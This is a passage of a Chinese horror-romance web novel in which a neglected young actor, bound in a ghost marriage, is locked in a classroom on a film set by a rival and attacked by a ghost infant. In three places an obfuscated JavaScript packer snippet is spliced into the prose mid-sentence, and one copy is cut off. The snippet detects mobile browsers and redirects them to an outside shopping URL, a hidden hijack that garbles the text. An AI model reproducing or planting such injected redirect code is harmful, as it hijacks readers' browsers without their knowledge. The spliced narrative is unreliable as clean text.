贺乌陵抬起那双苍老却不失锐利的鹰眼,挑剔地审视着谈雪慈,然后说:“戴上这个,不想死就千万不要摘下来,也不要弄丢,不然就连我也救不了你,还有,既已成婚,恂夜就是你的丈夫,以后就由你来供奉他的牌位。 “每天早晚三炷香,贺家也不指望你传宗接代,这点小事应该能做得到吧?” 谈雪慈:“……” 谈雪慈攥着那个红色的符袋,掌心莫名烫得厉害,他根本就不想跟人结阴亲,但事已至此,他也没办法拒绝,只能嗫喏着答应下来。 贺乌陵见他还算听话,脸色这才好了一些,终于起身离开。 管家又把谈雪慈送回房间,他还让人将谈雪慈的行李拿了过来,是刚才谈雪慈吃饭时,他派人去谈家取的。 谈家大概也没想到谈雪慈能活下来,临走前什么都没给他带。 不过谈雪慈的东西也不多,只有一个小书包,都没装满,里面塞了个很旧的老年机,两三件衣服,一只小羊玩偶。 谈雪慈躺在床上,抱着他的小羊跟瘪瘪的小书包,就连他自己也瘦得不正常,后颈棘突明显,肚子倒是难得鼓鼓的,刚吃饱了东西,撑得衬衫微微拢起,配上过分纤细的四肢,反而看起来更可怜了,他几根苍白手指捂在上面,很乖地小声说:“谢……谢谢伯伯。” 然而他尾音含糊,还没说完,肩背就控制不住弓起,剧烈地痉挛呛咳了几下,偏过头趴在床边吐了一地。 “谈少爷?!”管家被吓了一跳。 谈雪慈甚至来不及捂住嘴,只能尽量探出身,不弄脏床单,也不弄脏贺恂夜的衣服。 他鼻子忽然一酸,有点难过,他都没吃过这么多好东西,才在他肚子里待了一会儿就吐掉了,而且弄成这样,会给别人添麻烦。 他睫毛颤巍巍的,被呛咳时带出来的眼泪湿透,伸手就想去擦地上的脏污,嗓子低软发颤地说:“对……对不起,我马上收拾。” 管家:“……” 阎王看了都得半夜起来给自己一巴掌。 管家连忙将人拦住,让佣人去叫医生,谈雪慈难受到睁不开眼,迷迷糊糊听到医生问话,“你滑肠了,来之前吃过什么东西?” 谈雪慈嘴唇动了动,很轻地小声说:“没有……没有吃东西……” 贺家定下婚期以后,他就没再吃到过东西。 所有人都愣在原地,一脸错愕,无法去想谈雪慈在谈家过的什么日子。 坐牢都会临死前给吃顿断头饭,谈家这是发现谈雪慈可能会死以后,就马不停蹄地把他放弃了,甚至都不愿意让他吃饱肚子上路。 谈雪慈浑身滚烫,又发起高烧,他瘦白手指痉挛地曲起来,想抓住枕巾,却一不小心摸到什么冰凉的东西,很舒服。 是医生的手吗? 对方修长冰凉的手指抚摸在他颊侧,舌尖也又湿又凉,是异于人类的长度,很温柔地舔舐掉他脸上的泪水,谈雪慈陷入一个冰冷怀抱,眉头终于松开一点,昏沉地睡了过去。 - 谈雪慈三天以后才勉强能下床,他本来以为贺家会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854395|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多鬼,没想到却睡得很踏实。 他的病发作不分白天黑夜,以前白天会看到镜子里的人跟自己做出相反动作,洗脸会有人往他手指上吹气,睡觉前床底下会发出指甲抓挠床板的声音,等睡着了又会做噩梦,梦到自己背上趴着个惨青的鬼脸。 虽然能吃药,但吃一次只能顶三个小时左右,而且每天最多吃三次,他大部分时间还是得自己面对那些鬼怪。 待在贺家这几天,他什么都没见到,除了医生每天晚上都会来看他。 医生每次都会拿冰凉的大手掐住他的脖颈,一点一点往上抚摸,然后将几根冰冷修长的手指塞到他嘴里,撑开他的嘴唇,夹住红润的舌尖毫不留情地扯出来,好像在测试体温。 谈雪慈觉得不太对劲,但被鬼迷心窍了一样,想不通到底怎么不对,他没再多想,鼓起勇气找管家问起婚礼当晚的事。 “婚礼?”管家将饭菜放下,苍老的脸上带着笑,说,“家主派人去接您的时候,您还在睡觉,婚礼结束才醒来,但看着精神也不大好,家主带您去大少爷的灵前上香,您才到灵堂就晕过去了,怎么会有纸人呢,大概是噩梦吧。” 谈雪慈将信将疑,但他毕竟精神有问题,可能真的在做噩梦吧,他又在贺家住了几天,直到经纪人陆栖给他打来电话。 谈雪慈是个已经出道半年的小明星,半年前拍了部戏,播出效果还不错,他涨了六十多万粉丝,当然主要是颜粉。 而且还接到一部新戏。 但刚开拍谈雪慈就病了,跟剧组请了好几次假,再不去肯定会被踹,经纪人急得上蹿下跳,终于联系到谈雪慈,说晚上开车来接他。 谈雪慈本来还担心贺家不许他去,但贺乌陵似乎没打算限制他的行动,对他的唯一要求,就是带上牌位,给贺恂夜上香。 谈雪慈将牌位装在自己的小书包里,临走前,望着贺恂夜的遗照,犹豫了下,小声地打了个招呼,说:“贺先生,我走了。” 遗像上的男人当然不会回应。 那张脸模模糊糊地像笼罩着一团黑影,但唇角仍然带着很温柔的笑,弧度都堪称完美,盯久了莫名让人心底发毛。 谈雪慈没敢多看,连忙低头离开。 经纪人将车停在贺家门外,他让谈雪慈赶紧上车,就往剧组赶。 谈母半年前突然同意谈雪慈出门,但谈雪慈被关了十几年,突然放他出去,他也不知道该去什么地方,谈砚宁就建议他去剧组看看。 谈雪慈不太懂,他去问贺睢,贺睢直接给他安排了公司,还找了个经纪人。 贺睢在京圈交际广泛,他外公家虽然没涉足娱乐圈,但也是商业大亨,想安排个小明星就是一句话的事,就是陆栖倒了霉。 他都不知道贺睢为什么会同意,当时谈雪慈连自己的名字都不会写,说话也不连贯。 万一落到什么人手里,不被玩死才怪。 说不定被扣了还以为在给他检查身体呢。 陆栖觉得自己像带了个漂亮吗喽,他头都大了,带着谈雪慈从啊啵呲嘚学起,谈雪慈倒是很乖,但学得很慢,现在会的字也不多。 让他带艺人,没说让他带野人啊! 陆栖当场表演了一个老吗喽痛苦抱头。 还好谈雪慈长得好,尤其那双眼睛,又黑又润,眼尾上钩,带着股山羊一样的阴媚劲儿,但肤色过于苍白,又瘦得厉害,小脸只有巴掌大,冲淡了这股阴气,只觉得楚楚可怜。 娱乐圈美人如云,他也见过很多,但还是头一次见到这种类型的。 而且演技意外地不错,导演稍微教一下就能演得像模像样。 晚上淅淅沥沥下着小雨,车外昏冷灯光掠过,谈雪慈听到陆栖夸他演技好,那双漂亮的眼睛抬起来,眸光在昏暗的车厢里闪烁了下。 车子开动,浓重的夜幕底下,谁也没注意到车后有一道漆黑模糊的影子,静静地矗立在原地,随着车子离开,它缓缓地转过头。 …… “对了,”陆栖后颈莫名凉了一下,他没太在意,揉了揉脖子,只当晚上太冷,然后纳闷地说,“你怎么在贺家啊?” 娱乐圈的人很迷信那些神神鬼鬼,陆栖没带过什么出名的艺人,但也听说过贺家,不知道谈雪慈怎么会跟贺家有瓜葛。 谈雪慈怯怯地跟他说起联姻的事。 “什么?!”陆栖张大嘴巴,刚点的烟都掉了,烫得他顿时嗷了一嗓子。 昏朦的雨雾里,车上格外暗沉,少年的苍白茫然的脸隐没在车厢内,只有鼻尖跟唇瓣泛着红,看起来格外无助可怜。 陆栖都不知道该说什么了,这都什么年代了,居然还冥婚,但贺家是风水世家,谈家也算个小豪门了,不是他能管得了的事。 他挠了挠头,只好安慰说:“你也别瞎想了,这都已经结婚了,他是你老公啊,肯定不会害你的,说不定能保佑你呢?” 谈雪慈听完,双眼微微发亮,趴在车靠背上问他,“真的?” “……”经纪人说,“真的。” 保佑个屁。 他越听越觉得心里发毛,贺恂夜头七都过了,贺家没给下葬,甚至还结阴亲,还有谈雪慈见到的那些,他觉得不完全是假的。 什么保佑,不被脏东西缠上就不错了。 7.不像演的 雨夜湿滑,陆栖不敢开得太快,一个半小时以后才到剧组,已经晚上十点多了,还好谈雪慈的那场戏比较靠后。 片场在京市嘉禾私立中学的老校区。 老校区已经三十多年了,设施老旧,校方三年前开始修建新校区,今年年初竣工,学生们现在都已经挪了过去。 嘉禾私立中学本来只有高中部,学校计划等到年底把老校区修缮一下,然后成立初中部,扩招学生,中间正好空出来几个月,老校区这边没人,就索性租给剧组拍戏。 晚上雨雾连绵,校门外停着几辆剧组的车,但大部分演员跟工作人员都在学校里面,校门口黑胧胧的,尤其冷清。 谈雪慈一下车就觉得背后有点发凉,他肩膀微微打了个颤,连忙加快脚步跟上经纪人。 导演刚拍完一场戏,大概今晚拍摄不太顺利,他叼着根烟脸色铁青,见到谈雪慈更没什么好气,冷声呵斥说:“赶紧去换衣服!” “好好好,”陆栖扯住谈雪慈,给导演赔笑说,“何导,我马上带他去。” 谈雪慈刚开机没几天就病了,他刚出道没多久,既不是大腕,又没有靠山,还耽误剧组拍摄进度,导演生气也情有可原。 陆栖本来还想让谈雪慈给导演道个歉,见导演懒得搭理他们,识相地没再过去碍眼。 谈雪慈说想拍戏,贺睢毫不犹豫地同意,还给他安排好了一切。 陆栖以为贺睢这是打算给谈雪慈撑腰,没想到贺睢将人扔给他以后,就再也没管过。 谈雪慈跟贺睢谈恋爱的事虽然没有刻意隐瞒,贺睢身边的人都知道,甚至娱乐圈不少人也知道,但贺睢也没有特意公开。 而且他对谈雪慈向来冷淡,甚至还被狗仔拍到过他甩开谈雪慈的手,独自上车,将谈雪慈一个人抛在雨地里。 外界就开始传言是谈雪慈缠着贺睢,想攀高枝,别人也顶多拿他当贺睢的小情人,还是不会来事儿,也不怎么受宠的那种。 娱乐圈拜高踩低,见风使舵的事情不要太多,谈雪慈在谈家是个被厌弃的次子,贺睢又不给他好脸色,其他人当然也不会拿他当回事。 陆栖带着谈雪慈往化妆间走,碰到人他就偷偷往谈雪慈后腰怼一下,让他长点儿眼力劲。 谈雪慈像个被设定好程序一板一眼的小机器人,陆栖一怼他,他就老老实实跟人家打招呼,等走到化妆间,肩膀泄气似的松垂下来。 然后就听到旁边传来一声冷嗤。 谈雪慈顿了下,抬起头,是男二号翟放。 翟放刚化完妆,睨了谈雪慈一眼,不阴不阳地说:“终于敢来剧组了?” 他们拍的这部戏名字叫《纠缠》,改编自一本同名小说,是个校园背景的偶像剧,男主跟几个男配一起追求女主的故事。 谈雪慈演男三号,一个追求女主不得的自卑阴郁反派,最后下场凄惨。 女主陆迩迩是经典的善良小白花人设,虽然家境贫困,在学校还受欺负,但仍然坚韧勇敢,还有余力救赎别人,打动了桀骜不驯的酷哥男主,跟家境优越温和冷静的学霸男二,还吸引了男三这个阴暗反派的注意力。 陆栖脸色不太好看,其实按一开始的合同,翟放是男三号,谈雪慈才是男二。 谈雪慈半年前出道拍的第一部电影是个恐怖片,他在里面演了一个钱多无脑的富二代小少爷,鬼片里那种刚出场就作死的炮灰。 这种午夜场恐怖片基本上流水线生产,票房一般,也捧不红什么演员。 整部电影最后只火了一个谈雪慈,因为谈雪慈演的那个小少爷虽然愚蠢但实在貌美。 电影里小少爷叫了几个朋友半夜陪他去废弃医院,刚进去就跟朋友大吵一架,然后走散了,他独自拿着手电筒,心里后悔不已,然而还没来得及叫自己的朋友,就被一双惨白鬼手捂住嘴拖入医院黑暗的走廊中。 当时镜头给了谈雪慈一个特写,那双漂亮的眼睛盈满泪水,恐惧和绝望紧紧扼住他的喉咙,有种濒死般逼真破碎的美感。 不像演的。 就好像他真的撞鬼了一样。 拍戏时导演喊卡,谈雪慈都没听见,导演拍了十几年三流恐怖片,头一次碰到这么尊重他作品的演员,当场猛男落泪,握住谈雪慈的双手连声夸赞说:“太投入了!太投入了!我把话放在这儿,小谈,你不火简直天理难容!” 谈雪慈:“……” 谈雪慈小脸惨白一片,他支支吾吾的,不敢说刚才捂他的那只手带着腐烂血腥味。 总之,过于出众的长相,加上浑然天成的演技,让他在这个午夜场电影上映当晚半夜三点多就被顶上了热搜,粉丝疯涨。 陆栖不得不承认,谈雪慈属于那种什么都不会也无所谓的,有这张脸就够了,随手拍个十几秒的视频发到网上都能直接起号爆红。 片约雪花般纷至沓来,但谈雪慈当时还是个绝望的文盲,陆栖暂时没敢再给他接戏,直到这部校园剧的副导发来邀请。 男二林季远的定位是温柔白月光,全程暗恋女主,跟女主更像恋人未满的好朋友,又带点年少时的遗憾,戏份冲突不多。 谈雪慈肤色很白,五官明晰,长相是偏冷的,而且过于不谙世事,垂下睫毛温温柔柔笑起来的时候,很有冷淡疏离的意思。 不管怎么样,他演男二应该是适配的。 陆栖怎么也没想到,合同都签了,最后翟放带资进组,顶替掉了谈雪慈的角色,导演直接把谈雪慈给降级成了男三。 虽然剧组没有官宣,但粉丝们消息灵通,早就知道谈雪慈会演林季远,开机路透却换了戏份,粉丝当然不干,跟翟放那边掐了起来。 翟放当时正好被人扒出来说他整容,从眉弓做到下巴,连下颌骨都削了一块,上综艺的时候脸肿成馒头,被全网群嘲。 【不是,这脸一眼假,下巴都尖得能给我当酒瓶盖起子了,粉丝能吃点好的吗?】 【这是屎吗?对不起打错了,这是什么?】 【并非打错。】 【跪求发面教程,我妈蒸的馒头都没这么蓬松。小丑.jpg】 【算了,我说话难听。】 再加上带资进组的事,网上腥风血雨吵了三四天,直到几天后《纠缠》的开机发布会,翟放穿了身剧组的校服出场,光看外表十分俊秀干净,已经二十五岁了但穿校服一点儿也不违和,甚至有种刚出道时的少年感。 关键是毫无整容痕迹。 舆论瞬间反扑。 翟放的粉丝全网贴图,说翟放明明才是最适合演林季远的人,到底谁才是带资进组。 【别搞笑了,真整容能这么快恢复?嫉妒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864953|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翟放是天选林季远可以直说。】 【我们翟哥入圈多年兢兢业业,清清白白,谈雪慈倒是被拍到过追着那位贺少不放,谁给谁泼脏水这不是一眼就能看出来吗?】 而且谈雪慈除了当初那部电影,后面一个综艺或者采访都没接受过,很少出镜。 【脸都不敢露,很难说到底谁才是整容哈,估计怕一不小心原形毕露吧。】 【呃,本人长得多丑才藏得这么严实,估计电影也是一帧一帧p的吧……开播前我先不吃饭了,免得看到他把隔夜饭吐出来。】 【说不定翟哥整容的事也是他造谣的,抢角色没成功怀恨在心吧,其实翟哥那几天就是没休息好有点水肿而已,结果被人发了那么多黑图,一直唱衰,没有预谋我是不信的。】 翟放那边公关也很迅速,一个晚上就撇清了带资进组的事,并且将翟放被骂整容的这口黑锅也扣到了谈雪慈头上。 总之,都在骂谈雪慈心机深重,简直是娱乐圈毒瘤,甚至还有人给他发威胁短信。 谈雪慈一直在用一个破旧的老年机,卡到十分钟吐不出一条消息,也没舍得换,因为是七八年以前哥哥给他买的。 他那天已经生病住院了,醒来看到有消息,双眼亮晶晶的,还以为是家里人找他,或者粉丝给他发的私信。 他捧着手机,手背上擦着输液针,带着副苍白病容,黑发濡湿,期待地看着手机屏幕上一点一点地加载。 然后蹦出条消息。 【做人这么恶毒,你这辈子都没救了,还要脸的话就趁早自己滚出娱乐圈。】 谈雪慈:“……” 谈雪慈茫然地怔了下。 这个滚字他还是认识的。 他好像……不管做什么都会被人讨厌。 谈雪慈在网上的热度昙花一现,那点红完全抵不过现在的黑,铺天盖地都是骂声。 贺睢却完全没反应,公司终于意识到贺睢根本没打算管谈雪慈,哪是什么撑腰,谈雪慈估计得罪了贺少才会被扔到这个圈子。 故意磋磨他呢。 谈雪慈确实长得好,但娱乐圈从来不缺相貌出众的明星,他得罪了贺少,公司也不打算保他了,就一直放任他被全网黑。 医院外面总有记者在徘徊,陆栖没办法,等谈雪慈好一点就让他先回家休息。 谈父谈母还有谈商礼都很忙,那几天都不在家,谈砚宁还没毕业也在学校。 家里除了佣人只有谈雪慈。 谈雪慈一个人很乖地等他们回家,想说他根本不认识翟放,也没找人骂过他,他是被冤枉的,但他趴在阁楼的小窗户旁边等了好几天,终于等到谈父谈母回家,还没来得及跟他们说,就被扔去跟贺家联姻。 …… 谈雪慈入行半年,已经不是什么都不懂的新人了,至少他知道自己得罪不起翟放。 他顿了顿,很礼貌地说了声,“翟哥……” 他本来想说翟哥晚上好,然而还没说完,就见有只青灰色的小手从翟放背后探出来,好奇地在翟放肩膀上摸来摸去。 那只小手指甲发黑,皮肤已经溃烂,露出底下猩红沾血的肉。 摸着摸着,它好像突然发现有人在看它,又缓缓探出半张同样惨青的脸颊,纯黑的眼睛一丝光也不透,朝谈雪慈咧开嘴笑了下。 8.鬼婴 谈雪慈呼吸一滞,但那个东西转眼就消失了,好像刚才都是他的幻觉一样。 翟放皱起眉,莫名其妙地看着谈雪慈,不知道他在搞什么,脸色突然白得像个鬼。 他稍微活动了下肩颈,大概是京市这段时间阴雨连绵,拍摄又很忙碌,他总觉得肩膀沉压压的,不太舒服。 他毫不掩饰地朝谈雪慈翻了个白眼,也没回应,就拎起外套离开。 谈雪慈忍不住转过头看了下翟放的背影,对方肩膀上干干净净,什么都没有。 谈雪慈垂头丧气的,他怎么总忘记自己有病呢,这么一惊一乍,成天像个格格不入的怪物一样,难怪会被讨厌。 别自己吓自己了。 “看什么呢?”陆栖催他坐下化妆,趁化妆师去找东西的功夫,压低嗓子跟他说,“你可别跟翟放起冲突,知道他背后是谁吗?金曜娱乐的徐总,贺睢都得给他三分薄面,封杀你个小羊羔子都用不着抬指头,认命吧,小慈。” “……我知道,我不会惹他的。” 谈雪慈演的男三号叫周遐,父母都出事故不在了,他跟着奶奶生活,奶奶生怕他也出事,对他管教很严格,导致周遐性格懦弱,再加上家境不好,在学校长期被霸凌。 唯一对他伸出过援手的就是女主。 今晚拍的就是一场霸凌戏,周遐被班上几个男生堵在空教室打了一顿,正好男二跟女主经过,女主想救他,男二却不同意。 男二是班长,比较了解周遐的情况,知道周遐表面懦弱,但其实偷过班里同学的钱,还经常给班主任写匿名信告状,性格阴暗又不讨喜,女主去救他,说不定会被他连累。 但女主自己也被霸凌过,见不得别人受欺负,执意去救周遐,他俩不欢而散。 当然,男二本身是个好人,他只是害怕女主被牵连,并不打算对同学见死不救,跟女主分开以后,他就马上回到了医务室。 然后猝不及防在教室门口又碰到女主。 周遐被打个半死,抬起头看到这一幕,强烈的嫉妒怨毒像烈火烧心,他真想让他们都去死,要是不爱他,对他不好的人都去死就好了。 谈雪慈底子好,化妆师不到半小时就给他定好妆,然后让他去换了校服。 谈雪慈本来就瘦,肥大的校服穿在身上空空荡荡的,显得很纤薄羸弱,少年的侧脸雪白,眼睛下方的阴影被加深了一点,有种疲惫乏力的阴郁,还真像个冷嗖嗖的小变态。 待会儿在三楼的一个教室拍戏,陆栖等谈雪慈化好妆,就带他过去。 他倒不担心谈雪慈拍戏,因为谈雪慈记性很好,就算不认得很多字,他给他念一遍台词,谈雪慈就能一字不落地背下来。 他都要怀疑谈雪慈记忆力异于常人了,但谈雪慈学东西又确实很慢,要不是谈雪慈一副温吞老实的样子,简直像故意的。 导演先拍了挨打的那场戏,谈雪慈倒在地上,弓着身子,用手臂护住头,几个群演对他拳打脚踢,然后女主跟男二过来救人。 寂寥的夜晚,周遐倒在医务室布满灰尘的冰冷地面上,还以为这次真的要被人打死了,结果抬起头看到女主,就像看到了垂悯的天使。 这部戏演女主的演员叫孟栀,算是半个新人,还在读大三,之前只演过几个小配角,眼睛很大,长相倔强又甜美。 谈雪慈趴在地上,本来这个地方他应该很自卑地跟女主说你怎么来了,但他涣散的眼瞳睁大,控制不住看向了孟栀身后。 翟放就站在孟栀斜后方的位置,他肩膀上蹲着一个小鬼,不像之前匆匆一瞥,谈雪慈这次终于看清了对方的样子。 那个小鬼浑身的皮肤都坑坑洼洼,露出底下蒙着血膜的红肉,几根手指还在往下滴血,头大身子小,像只被剥了皮的红色小猴子。 它张开嘴,密密麻麻都是青黑色的尖锐牙齿,伸手去扯孟栀的头发。 “小心……”谈雪慈下意识开口。 “卡!”导演怒气冲冲地喊了卡,站起来厉声骂道,“谈雪慈!你在干什么呢?!就剩最后几个镜头拍完收工了,你这说的什么台词!” 他转过头指了下孟栀,怒道:“让女演员也在这儿陪你一起受冻?” 导演的怨气比鬼重,那个小鬼被吓到了,还没碰到孟栀的头发就收回手,它抱住翟放的脖子,猩红的嘴巴张开,发出一阵让人头皮发麻的怨毒哭声,仔细听好像在叫妈妈。 孟栀总觉得今晚有点冷,她后颈一直凉飕飕的,而且越靠近翟放就越冷,她胳膊上都起鸡皮疙瘩了,恨不得马上拍完回酒店。 但谈雪慈刚才是看着她在说小心,她总觉得……总觉得谈雪慈像在提醒她什么一样。 “何导,”孟栀好脾气地说,“没事,我不冷,再拍一遍就好了。” 导演见她这么说,也不好再发火了,不耐烦地朝场务招了招手,示意重来。 那个小鬼还没走,谈雪慈一遍一遍提醒自己那是幻觉,不用管它,才终于拍完。 这是今晚最后一场戏,拍完以后剧组的工作人员都收拾东西准备离开,陆栖被导演叫走了,临走前让谈雪慈去校门口等他。 “喂,”翟放落在最后,皱起眉盯着谈雪慈说,“你刚才看我干什么?” 他可没忽略,刚才谈雪慈是先看了他一眼,然后才去看孟栀,那个眼神让他很不舒服,就像看到了什么脏东西一样。 “你……”谈雪慈本来不想说,但翟放咬住他不放,他只好说,“你肩膀上好像有东西……” 京市这几天晚上风很冷,翟放莫名打了个哆嗦,他抬起头,对上谈雪慈那张鬼魅一样过分苍白郁气的脸,心里直发毛。 他是觉得肩膀很沉重,就像扛着什么东西似的,但被谈雪慈说出来,怎么就这么奇怪。 翟放登时沉下脸,说:“你故意的吧,跟我在这儿装神弄鬼呢?!” 他见到谈雪慈就烦,这行不就是谁有靠山谁硬气,谈雪慈自己没本事,讨不到贺少的欢心,才被抢角色,能怪得了他吗? 翟放磨了磨牙根,谈雪慈惨,之前网上把他骂成一大坨屎,他就不倒霉了吗?气得他刚做好的双眼皮都崩了,连夜去医院缝线。 谈雪慈这么多天没来剧组,他还以为导演会换人,没想到谈雪慈还在。 谈雪慈抿了抿唇,他想绕开翟放出去,然而才走到教室门口,就又被翟放一把推了进去,谈雪慈踉跄了下,差点没站稳。 “我听说学校都是建在坟地上的,”翟放比谈雪慈高一点,他低下头,视线像冰冷的蛛丝一样缠住谈雪慈,嘴角要笑不笑地勾着,“要是真有什么脏东西,待会儿会不会来找你啊?” 他没指望把谈雪慈一直关在这儿,毕竟陆栖发现谈雪慈不见了,肯定会来找,但他听金曜的徐总提起过谈家,谈雪慈好像精神有问题。 也不知道真的假的,要是能关上半个小时,让谈雪慈精神病发,赶紧滚回家就好了。 翟放低嗤了声,锁上门转身离开。 谈雪慈不害怕这种封闭环境,毕竟他在阁楼住了十几年,但坟地……谈雪慈咬了咬嘴唇,他确实有点害怕。 他过去晃了晃窗户,想试试能不能出去。 教室的灯也坏了,黑压压的,就在谈雪慈晃窗户的时候,他背后突然传来很轻的一声嘻笑,谈雪慈头皮瞬间一麻,下意识转过头去。 教室中央的桌子上坐着一个小孩。 是刚才的鬼婴! 它没跟着翟放离开,甚至还给自己穿了身不符合年代的深蓝色绣花褂子,底下是黑裤,还有黑色绣花布鞋,戴着顶黑色瓜皮帽,挡住了身上血红的黏肉,但青白的肤色,黑漆漆的牙齿跟惨红的嘴唇仍然让它不像个人类。 谈雪慈不太懂,但不管谁看到这种装束,第一反应都会是寿衣。 谈雪慈呼吸一紧,他将手放在身后,又试探地推了推窗户,仍然打不开。 就这一眨眼的功夫,鬼婴已经从桌上消失了,它站在过道里,离谈雪慈只有不到三米的距离,突然四肢着地,朝他飞快地爬了过来。 谈雪慈根本没时间反应,对方速度太快,他只能踉跄着往教室后门跑,边跑边不死心地沿路去推旁边的窗户,每一扇都关得很死。 就连教室后门也上了锁。 谈雪慈使劲晃了几下门把手,都没打开,鬼婴却已经爬了过来,冰冷的小手抱住他的腿。 谈雪慈腿一瞬间就软了,他甚至不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谈雪慈心想。 他承认他一直活得很痛苦,就算……就算他再笨,是个小傻子也一样,没有几个人能承受从小就被妈妈讨厌的痛苦。 他在楼上听到妈妈接阿砚放学回家,跟阿砚说话时语气那么温柔,也会想妈妈什么时候能叫他的小名呢,他已经很多年没听到过了。 他被送去医院,每天两个小时的电击治疗,也好想跟妈妈说他好疼啊。 他也会难过的,他一点儿都不喜欢每天自己一个人被关在阁楼里,他真的知道错了,他再也不说他能看见了,能不能原谅他。 他想回家,他本来都想好了的,等这部戏拍完,他就有钱了,他想给爸爸妈妈买礼物,也给大哥买,以前大家不喜欢他,因为他总是生病,什么都不会,但现在不一样。 他不是……没用的小傻子,爸爸妈妈应该会开心的,说不定还会让他跟他们一起过年。 他以为自己至少能活到今年冬天,为什么缠着他不放,让他一直这么痛苦呢。 哪怕有一个人也好,不管是谁……救救他。 谈雪慈双眼控制不住地在流泪,脸上只剩下麻木,他等了很久,才发现自己好像没死,鬼婴一直没有咬下来。 他愣了下,抬起手擦干净眼泪。 前方的门不知道什么时候打开了,雨也停了,外面是晴朗的夜晚。 他顾不上多想,颤巍巍地爬起来就往外跑,身后鬼婴却突然发出一声极其惨厉的惨叫。 谈雪慈心脏狂跳,但还是没忍住回头看了一眼,然后就见漆黑的教室中,有一团很高大的黑黢黢的影子,看不出是什么东西。 它将鬼婴裹住搅碎,就好像浑身都长满了无数细细密密的尖牙一样,鬼婴怨毒哭叫着被搅成了碎肉,浓红发黑的血淌了一地。 黑雾发出喀喀的咀嚼声,谈雪慈莫名有种被凝视的感觉,他吓得小脸一白,扭头就跑。 不知道跑了多久,周围的死寂消失,学校里原来还有十几个工作人员没走。 经纪人陆栖正在焦急地原地打转,转过头见到他,愣了下就朝他冲过来,本来张嘴就想骂,但对上谈雪慈惨白的脸色,又迟疑地说:“你这怎么搞的,看着跟撞鬼了一样。” 谈雪慈浑身发软,他抬起头看向不远处的教学楼,手上还紧紧攥着胸口的符袋。 刚才的恐惧太真实了,就算是噩梦,他觉得自己都很可能死在这个梦中。 他跟贺恂夜求救以后,门才突然开了,难道……贺先生真的能保佑他吗? 9.做局 剧组其他人都已经离开了,谈雪慈也跟着经纪人往车旁走,他没发现自己的影子在身后越拖越长,逐渐成了很浓重的黑色。 就像一个比他高大许多的人形。 等上了车,谈雪慈还有点发抖,他手心都是冷汗,脸色也仍然苍白。 刚才的鬼婴,他已经不是第一次见到了,跟之前出现在贺睢车上的是同一个。 它是跟着谁的?跟着贺睢他们……还是他? 谈雪慈攥住胸口的符袋,还有这个,里面装的是什么呢,他冷白指尖轻轻捻了几下,感觉像粉末……该不会是骨灰吧? 不对不对。 谈雪慈深呼吸了一下,将脑子里乱七八糟的想法全都抛开。 他有病。 不管什么小鬼,都是他的幻觉。 大概他见到贺睢他们就像见了鬼,所以才会看到小鬼,但符袋里装的是不是骨灰就不好说了,谈雪慈后颈一凉,赶紧撒开手没再攥着。 “诶,”经纪人在驾驶座上纳闷地问,“我刚才去找你,场务说你跟翟老师在后面,怎么我过去的时候就你一个人,翟放呢?” 车厢昏暗,谈雪慈苍白的脸颊被映得有些阴郁,眼底阴影扫过,说:“他被鬼吃掉了。” 经纪人:“?” “什么?”经纪人没听清,又问了一遍。 谈雪慈慢吞吞地老实说:“不知道呢。” 陆栖倒不关心翟放的死活,就是有点担心谈雪慈被欺负,怎么说呢,他接手谈雪慈的时候,听说谈雪慈是个小傻子,但相处了半年,感觉倒也不至于,毕竟饿了会吃,困了会睡。 下雨也知道往家跑。 谈雪慈将车上的抱枕压在怀里,终于没有再发抖了,连痛觉都明显起来,他低头一看,这才发现自己手腕上有两个很浅的黑色牙印,还在渗血,像被一对小小的牙齿咬过。 伤口不大,但一直没有愈合,冷白纤细的手腕上血迹刺眼,甚至隐隐有点发黑。 “陆哥……!”谈雪慈一怔,他浑身血液瞬间凉透了,连忙叫经纪人,想让经纪人帮他看看。 这个伤口也是幻觉吗?还是他刚才发病的时候自己不小心碰到的?但正常磕破的伤口怎么会边缘发黑,甚至在往中央蔓延呢? 谈雪慈扶着车靠背,抬起手给陆栖看,没注意到自己背后的影子蠕蠕地动了起来,扭曲成一个比谈雪慈本人高大许多的身形。 那黑影双手越过谈雪慈的肩膀,一寸一寸收紧,从背后将人抱到怀中,它低下头,将下巴抵在谈雪慈肩膀上,亲昵地蹭了蹭,猩红的舌尖伸长,往谈雪慈手腕上舔了一下。 漆黑的牙印跟血迹都不见了,腻白肤肉上只剩下一小片被舔舐出来的红。 “怎么了?”经纪人转过头,正好看到他手腕,还以为谈雪慈刚才突然消失是被谁给潜了,怒道,“你他妈被哪条狗给舔了?!” 他没那么清高,贺睢将人交到他手上的时候,他就想给谈雪慈找个金主。 他当了七八年经纪人,手底下一个正当红的艺人都没有,在公司也很边缘,要是能把谈雪慈送出去,前途亮得他都睡不着。 至于谈雪慈傻不傻,懂不懂什么是金主,那不在他的考虑范围内,谈雪慈都长成这样了,相信没有金主舍得嫌弃他不会伺候人。 但找了几个月也没找到合适的。 之前青荣娱乐有个姓王的副总想包谈雪慈,让秘书联系他,晚上把谈雪慈送到酒店。 